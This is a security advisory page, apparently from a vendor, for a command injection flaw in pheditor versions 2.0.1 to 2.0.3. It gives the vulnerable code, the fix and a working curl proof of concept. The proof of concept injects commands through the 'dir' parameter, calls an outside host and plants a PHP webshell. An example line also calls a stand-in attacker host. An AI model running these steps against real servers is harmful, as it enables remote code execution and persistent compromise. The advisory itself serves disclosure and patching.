GHSA-jvc5-6g7q-c843 is a critical-severity (CVSS 9.9) OS Command Injection vulnerability in pheditor/pheditor. O3 Security confirms whether GHSA-jvc5-6g7q-c843 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Pheditor: OS Command Injection in terminal handler via unsanitized 'dir' parameter
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-jvc5-6g7q-c843.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-jvc5-6g7q-c843 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 368,770 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
pheditor/pheditorReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An OS Command Injection vulnerability in the terminal action handler allows any authenticated user to execute arbitrary OS commands by injecting shell metacharacters into the 'dir' POST parameter, completely bypassing the TERMINAL_COMMANDS whitelist and achieving full Remote Code Execution with web server privileges.
Details
The terminal handler in pheditor.php accepts two POST parameters: command and dir. Shell metacharacters are validated on $command only — $dir is passed to shell_exec() without any sanitization.
Vulnerable code (pheditor.php, line 554–586):
$command = $_POST['command']; // ✓ metacharacters checked
$dir = $_POST['dir']; // ✗ NOT checked — vulnerable
if (strpos($command, '&') !== false ||
strpos($command, ';') !== false ||
strpos($command, '||') !== false) {
die(...); // only guards $command, not $dir
}
$output = shell_exec(
(empty($dir) ? null : 'cd ' . $dir . ' && ')
. $command . ' && echo \ ; pwd' // ← $dir injected here
);
An attacker sends dir=/tmp; curl attacker.com # — the semicolon in $dir is never checked, so the injected command executes freely.
Fix: replace $dir with escapeshellarg($dir) on line 586.
PoC
Requirements: valid credentials, terminal permission enabled (default)
Step 1 — Authenticate:
curl -c cookies.txt -X POST http://TARGET/pheditor.php \
-d "pheditor_password=admin" -L > /dev/null
Step 2 — Get CSRF token:
TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \
grep -o 'token = "[a-f0-9]*"' | \
grep -o '"[a-f0-9]*"' | tr -d '"')
Step 3 — Confirm curl is blocked via command field:
curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
--data-urlencode "action=terminal" \
--data-urlencode "token=$TOKEN" \
--data-urlencode "command=curl https://ifconfig.me" \
--data-urlencode "dir=/tmp"
→ {"error":true,"message":"Command not allowed"}
Step 4 — Bypass whitelist via dir injection:
TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \
grep -o 'token = "[a-f0-9]*"' | \
grep -o '"[a-f0-9]*"' | tr -d '"')
curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
--data-urlencode "action=terminal" \
--data-urlencode "token=$TOKEN" \
--data-urlencode "command=ls" \
--data-urlencode "dir=/tmp; curl -s https://ifconfig.me #"
→ {"error":false,"message":"OK","dir":"<PUBLIC_IP>"}
Step 5 — Full RCE via webshell:
curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
--data-urlencode "action=terminal" \
--data-urlencode "token=$TOKEN" \
--data-urlencode "command=ls" \
--data-urlencode "dir=/var/www/html; echo '<?php system($_GET["c"]);?>' > /var/www/html/shell.php #"
curl "http://TARGET/shell.php?c=id"
→ uid=33(www-data) gid=33(www-data) groups=33(www-data)
Impact
OS Command Injection (CWE-78). Any authenticated pheditor user with terminal permission enabled (default configuration) is able to:
- Execute arbitrary OS commands as the web server user
- Bypass the TERMINAL_COMMANDS whitelist entirely
- Deploy persistent PHP webshells to the webroot
- Read, write, or delete any file accessible to the web server
- Potentially compromise other applications on the same server
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | pheditor/pheditor | ≥ 2.0.1&&< 2.0.4 | 2.0.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pheditor/pheditor. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update pheditor/pheditor to 2.0.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jvc5-6g7q-c843 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-jvc5-6g7q-c843 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-jvc5-6g7q-c843. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-jvc5-6g7q-c843 in your dependencies?
O3 detects GHSA-jvc5-6g7q-c843 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.